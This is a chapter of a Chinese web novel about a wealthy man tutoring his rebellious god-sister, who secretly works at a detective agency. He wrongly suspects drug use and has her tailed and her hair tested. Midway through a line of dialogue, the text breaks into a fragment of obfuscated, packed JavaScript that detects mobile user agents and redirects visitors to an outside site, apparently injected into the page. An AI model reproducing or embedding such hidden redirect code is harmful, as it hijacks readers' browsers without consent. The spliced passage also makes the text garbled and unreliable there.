“我买了本推理小说还没看完呢!我打算今晚看完的!” “补习到九点就结束,之后你爱看什么看什么。” 池镜心眼珠子一转,不怀好意地笑了:“我想看你腹肌,给看吗?” 裴清昀面色不变:“我也想看看你的大脑是不是没长沟回,你先给我看,我就给你看。” 池镜心翻了个白眼,进屋洗手去了。 随便吃了几口晚饭,她忽然想起一个事:“以后我都在你这温书,你是不是得给我准备个书房?” “用不着书房。待会儿吃完饭,让工人把餐桌收拾干净了,你就在餐桌上温书。” “啊?”池镜心垮下了脸,“你这空间这么大,连个书房都不给我 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没过多久,她再次找茬:“你的餐厅灯光不够亮,天天在这温书,我会瞎掉的。” 裴清昀立刻叫来管家温迪,让她拿个台灯来。 又过了片刻,池镜心隐约闻到一缕淡淡的香气。这个味道非常特殊,像是洁净的高山雪,又像是冰冷的金属味。 之前跟裴清昀同坐一辆车时,她从他身上闻到过这个味道。此刻她对这个味道产生了巨大的好奇。事实上,此时除了英语题,她对什么都好奇。 她上半身往裴清昀那凑,抽了抽鼻子,轻声来了一句:“你好香啊。” 瞬间,裴清昀浑身的汗毛都炸了,他恨不得把这孽障拎起来抡几圈扔到山下去。 他把手机当惊堂木往桌子上一拍:“你神经病啊?!不耍流氓会死是不是?!” 池镜心委屈得不行:“我没耍流氓……至少这次没耍。我就是好奇你身上的香水味。” “回头我让温迪买一瓶同款给你。现在,你给我老老实实把题做完!” 到了晚上九点,第一次补习终于在一片鸡飞狗跳中结束了。裴清昀累到不想说话。连开十二小时的会都比给池镜心补习两小时英语来得轻松。他怀疑给她补习一次他就得少活好几年。 第二天早上吃早饭的时候,裴清昀不忘给池镜心布置今天的任务:“今天白天,你把昨晚我给你标出来的那些单词短语都背下来,晚上我会抽查……” 他还没说完,池镜心就打断了他的话:“今天不行,我没空。待会儿我要返工。” 裴清昀一愣:“你返什么工?” 池镜心随口扯了个谎:“我在茶餐厅做兼职。” 裴清昀不相信她会在茶餐厅做兼职。他懒得管她到底在外面鬼混什么,直接命令她:“别做了。未来一年时间,你的主要任务是温书。其余任何乱七八糟的兼职都给我停掉。” 池镜心嘴里塞满了食物,含含糊糊地回他:“不做兼职哪来的钱,你养我啊?” “可以。”裴清昀答得很快。 池镜心没想到他会这样回答,抬起头诧异地看向他。 “你刚出生的时候,我向你母亲承诺过会好好照顾你。前几年我以为你随你父亲移民去加拿大了,就没管过你,这是我的疏忽。你堕落成现在这样子,我也有责任。 今后我不仅会监督你的学业,还会负责你的一切花销,直到你大学毕业为止。你只需要专心备考就行。” 池镜心轻轻地“切”了一声,满脸不屑:“谁要你养。我就要去做兼职,你管不着。” “不要任性。” “我偏要任性。你再废话我就不住你这了。” “……” 大清早的,裴清昀只觉得自己的太阳穴疼得快要炸了。 他可不认为池镜心是个热爱工作的好青年,她肯定是在外面鬼混。他又想起之前池镜心把几个古惑仔叫到家里开银趴的事,搞不好她真的沾染上了违禁药物,甚至有可能在以贩养吸,所以才闹着要返工…… 他沉吟片刻,假装无意地问:“过几天我要去做体检,你要不要也顺便体检一下?” “不要!”池镜心把头摇得像拨浪鼓,“我有针尖恐惧症,谁都别想抽我的血!” 裴清昀的心脏咚的一下沉了下去。 池镜心三两口吃完早饭,起身就走:“我走了,晚上见。” 裴清昀目光复杂地看着她的背影,拿起手机给阿锋打了个电话:“阿心刚走,你去跟踪她,看看她今天在外面都干了些什么。” 打完电话,他起身走向池镜心住的客卧。他仔细检查她睡过的床,从枕头上捻起两根头发丝,然后把温迪叫了过来。 “把这两根头发拿去化验所化验一下。” 10. 虚惊 池镜心第一次从裴清昀家出发去事务所,一路上她总觉得哪里怪怪的,好像有人在暗中盯着她。 她的老板钟言真以前是CIB的督察,最擅长跟踪与反跟踪技术。池镜心初进事务所的时候向钟言真学习过相关知识,因此她并不太慌张。 走到熙熙攘攘的大街上,池镜心装作边走边玩手机,不小心撞到了一个上班族。她立刻转回身向上班族道歉,还帮他把掉在地上的公文包捡了起来。 做完这一系列动作,她继续向前走,嘴角泛起一丝笑意。 刚才她回头跟上班族道歉的时候,迅速扫视了一遍四周,在人潮中她发现了一张熟悉的脸,是裴家那个保镖阿锋。 这个阿锋应该没系统学过跟踪技术,他的跟踪水平真是有够烂的,居然都不知道要在街道的另一侧跟踪目标,也不知道当目标停下来时他不能立刻跟着停下来,更不知道不能一直盯着目标看……总之,错漏百出。 池镜心用脚趾头想都知道,肯定是裴清昀不信她真的在茶餐厅做兼职,所以派了阿锋来跟踪她。 她天生是个恶劣胚子,耍了裴清昀这么久尤嫌没耍够,至今没有丝毫想掉马的打算。她看了一眼不远处人潮汹涌的商场,径直小跑过去。 裴清昀今早来到公司办公,一直心神不宁。当初他被公公婆婆骗回港岛,给他舅父收拾烂摊子的时候,虽然每天忙到焦头烂额,但都没有像现在这样心慌意乱过。 他给温迪打了个电话,问她检测结果什么时候能出来,温迪说还得等两个小时。 挂了电话没一会儿,他又接到了阿锋的电话。 阿锋:“不好意思裴先生,刚才池小姐突然跑进一家商场,我跟了进来,却怎么也找不到她人了。” 裴清昀沉默片刻,问:“你的简历没造假吧?” 阿锋都快哭了:“当然没有了裴先生,我之前真的是要员保护组的!但是术业有专攻啊,我们G4主要执行要员保护任务,跟踪可疑人员这种活是CIB干的,我没接受过相关培训啊!” 裴清昀挂了电话。明明是阳光明媚的清晨,他却觉得整片天都暗了,暗得快要塌下来了。 他几乎已经确定了,池镜心肯定是染上了毒瘾,在外面做些见不得人的勾当。不然她为什么会走个路都疑神疑鬼的,早早就发现阿锋的跟踪并且甩掉他? 他右手无意识地用力握紧签字笔,苍白手背上青筋突起。啪的一声,签字笔折成了两段。 此时此刻,他并不想骂池镜心,他只想狠狠骂自己一顿。他就是个不折不扣的蠢货! 小时候他一直是把池若颐当亲生母亲看待的,池若颐因公殉职的时候,他的痛苦不比任何人少。 之后很长一段时间里,他不敢去见程叔和阿心,一见到他们,他就会想起过世的契妈,再度陷入巨大的悲痛。 过了好几年,他终于联系了程叔一次,却得知他们一家马上就要移民去加拿大了。他没多想,以为阿心跟着亲生父亲去了国外应该会过得挺好的,国外宽松的环境更适合她这种不走寻常路的小孩。 恰好那几年他也很忙,不是在英国忙学业,就是在收拾舅父留下的烂摊子,根本没有时间去看看阿心。于是时间一晃,他俩足足八年没有任何联系。 现在他才发现自己是多么的愚蠢和大意。契妈离世的时候,阿心才十二岁,正是刚进入青春期,心理变化格外剧烈的时候,一不小心就会行差踏错。她亲妈不在了,父亲又另外组建了家庭,误入歧途简直是分分钟的事。 而他呢?这八年里他本该承担起兄长的职责,好好引导她的。可他只顾着自己逃离悲痛的情绪,对她不闻不问,简直蠢得令人发指! 事到如今,再悔恨都没有意义了。他扔掉手里的断笔,暗暗打定主意,今天晚上阿心回到家,就立刻把她送到戒毒中心去。往后余生,他都会对她严加看管,定不会让她再沾染任何不良习气。 此时此刻,池镜心对便宜哥哥复杂的心理活动一无所知。她甩掉阿锋的跟踪之后,没心没肺地乐了半天,还去买了一杯奶茶,边喝边来到洞烛侦探事务所。 会议室里,同事们全都到齐了。向思移、阿豪、阿杰、龙仔以及老板钟言真,齐刷刷地转头看向迟到的池镜心。 池镜心没羞没臊地抬起爪子,跟大家打了个招呼:“嗨~” 钟言真板着个脸:“大家都在等你,你有没有羞耻心的?” 池镜心笑嘻嘻地拉开椅子坐下:“路上遇到点事耽误了。” 她懒散惯了,也根本不怕钟言真。倒不是说钟言真是个多好脾气的老板,主要是钱给得太少了。池镜心一个月的薪水还不如洗碗工。 打工就是这样的。月薪十万,她可以管钟言真叫金主妈妈;月薪不如洗碗工,她就觉得钟言真应该管她叫金主妈妈。迟到又怎么了?能来就是给足面子了。 钟言真也确实拿她没办法,只瞪了她一眼便进入正题。 “这次咱们事务所接到一个大单。港岛老牌豪门骆月升家族,你们听说过吗?”钟言真兴致勃勃地扫视着员工们。 大家都一脸茫然地摇了摇头。 钟言真翻了个白眼:“好吧,骆家一直很低调,而且已经很多年不做实业了,你们这些小年轻没听说过也正常。这次的委托人呢,就是骆月升家族的后人骆仲贤先生,以及他的夫人。 骆仲贤夫妇的儿子骆品谦,今年二十五岁,有一个未婚妻,叫何咏晴,今年二十六岁。两人目前正在筹备婚礼。 骆仲贤夫妇总觉得准儿媳对他们有所隐瞒,因此找到了我们事务所,委托我们对何咏晴进行调查,重点弄清何咏晴的家世背景是否有所隐瞒,过去的人生是否有重大污点,人品是否可靠。” 池镜心有些意兴阑珊:“嗐,我还以为是什么大单呢,结果就是个婚前调查。” 婚前调查是侦探事务所常见的委托。池镜心对这类委托一向不是很感兴趣,嫌调查过程无聊,她更喜欢刺激一点的委托。 钟言真:“我说这是个大单,是因为骆仲贤夫妇出手十分阔绰,做完这一单我就有钱给你们发奖金了。所有人都得把全部精力投入到这次的婚前调查中,务必让委托人满意,听到没有?” 大家稀稀拉拉地应了几声“听到了”。 等钟言真把骆品谦和何咏晴的资料用投影仪放出来,池镜心微微吃了一惊。这两人她见过。她扮啤酒妹那次,在酒吧里坐裴清昀对面的那对连体婴小情侣,正是骆品谦和何咏晴。 想想也正常,港岛的豪门世家互相都认识,因此裴清昀和骆家的后人一起喝个酒再正常不过了。 散会后,向思移抬手勾住池镜心的脖子,笑嘻嘻地问她:“阿心,那天晚上送你回家的那个帅哥,我总觉得眼熟。回到家后我终于想起来了,他就是裴清昀,对吧?” 池镜心坦诚地点了点头:“嗯,是他。” “好你个阿心!”向思移锤了她一拳,“天天跟我们一起吃两餸饭,卖惨哭穷,结果你是千金大小姐!你说你装穷人做什么?怕太有钱了被我们仇富么?” “我没装……” “还说没装!你刚进事务所的时候,我看到你这一口漂亮的牙,就知道你家境肯定不差了。” 池镜心有些无语:“……那是因为我爸就是牙医。” “牙医?”向思移眼睛一亮,“我看新闻说,有些开高端口腔诊所的牙医,年收入能上千万。那你确实是大小姐啊!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917530|177022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哪有那么赚钱。我爸确实开过口腔诊所,一年也就几百万吧。我家只是普通中产而已啦。” 池镜心小的时候,她父亲开口腔诊所,母亲是总督察,父母从事的都是高薪职业,年收入逾百万。她那时的生活条件确实还不错,但不代表现在她不穷。 池镜心继续解释道:“我妈过世了,我爸再婚了,又生了个儿子。他说他的钱只会留给他儿子,一分都不会给我。所以我不是在装穷,我是真穷。” “啊?这样啊。”向思移有些不好意思地摸了摸后脖子,也忘了问她是怎么跟裴清昀认识的,只胡乱安慰了两句,“没事的阿心,三十年河东三十年河西,搞不好你以后比你爸有钱多了呢。” 池镜心笑了笑:“借你吉言。” 笑完她又有些惆怅。她现在的收入还不如洗碗工,写的推理小说全部被拒稿,明年要是考上大学了,又得花一大笔学费,脱产读书四年……她基本上是不可能比她爸有钱了,她肉眼可见地只会越来越穷。 两个小时后,裴清昀终于接到了温迪的电话。他已经做好了充分的心理准备,等接完这个电话他就会去联系戒毒中心。 没想到温迪说:“裴先生,检测结果出来了,没有检测到任何毒品成分。” 裴清昀愣了一秒,只觉得天瞬间就亮了。整个世界草长莺飞,晴空万里,惠风和畅…… 他长长地松了一口气,生出一种劫后余生的庆幸。感谢天,感谢地,感谢阿心小混蛋,总算没有坏得太彻底,他也不用死后去契妈面前谢罪了。 晚上下班后,裴清昀在回家路上心血来潮,决定去给池镜心买一份礼物当作奖励。常年考零分的小孩,考了一次十分都可以得到奖励。对于阿心这种坏胚子,仅仅是没有使用过违禁药物,就已经值得给她一份奖励了。 他记得阿心从小就喜欢在左手手腕上戴饰品。因为她是早产儿,刚出生那会儿,她公公婆婆担心她长不大,就去藏地祈福,请了一条金刚结手绳回来,戴在了阿心的左手腕上。 从此阿心就养成了习惯,左手腕上一定要戴点东西,手链、手串、手绳、手表,手镯……什么都行,不戴她就总觉得缺点什么。 裴清昀去给她买了一只手表。奢侈品旗舰店闭店接待,店长将店里所有的现货都拿了出来,不敢有丝毫懈怠。 裴清昀没有选最贵的款,仅仅选了一只公价五十多万的手表。在他看来,一开始的奖励规格不能太高,要慢慢地升级,这样才能起到激励她进步的作用。 他记得阿心小时候很喜欢亮晶晶的东西,因此他选的这只表表盘上镶满了碎钻,以及十二颗代表刻度的蓝宝石,表带是18K白金,整只表在灯光下看起来白灿灿的。 回到家,他一进门就看到地板上有个东西在滚来滚去。定睛一看,那个“东西”是池镜心。她穿着一件肥大的比格犬连体睡衣,像个在发癫的比格犬一样满地打滚。 池镜心瞥见他回来了,立刻坐了起来,兴奋地跟他说:“我新买的比格犬睡衣到了!还没洗呢,我先试穿一下。这个衣服好适合在地板上打滚啊,是不是很可爱?” 裴清昀面无表情地看着她。池镜心以为他肯定会嗤之以鼻,嘲讽她几句,结果他只是走了过来,伸手摸了摸她的脑袋。 “嗯,可爱。” 池镜心一愣,便宜哥哥温热的手掌轻轻放在她的头顶,她体内莫名激起了一串奇异的愉悦的电流。 她迷茫地看着对方那双平静的琥珀色眼睛,不明白自己这是怎么了。 裴清昀也有点奇怪,自己今天是怎么了?之前怎么看阿心怎么烦,恨不得替契妈狠狠收拾她一顿。今天居然觉得她也不是很烦人了,这张带着婴儿肥的脸还挺顺眼的。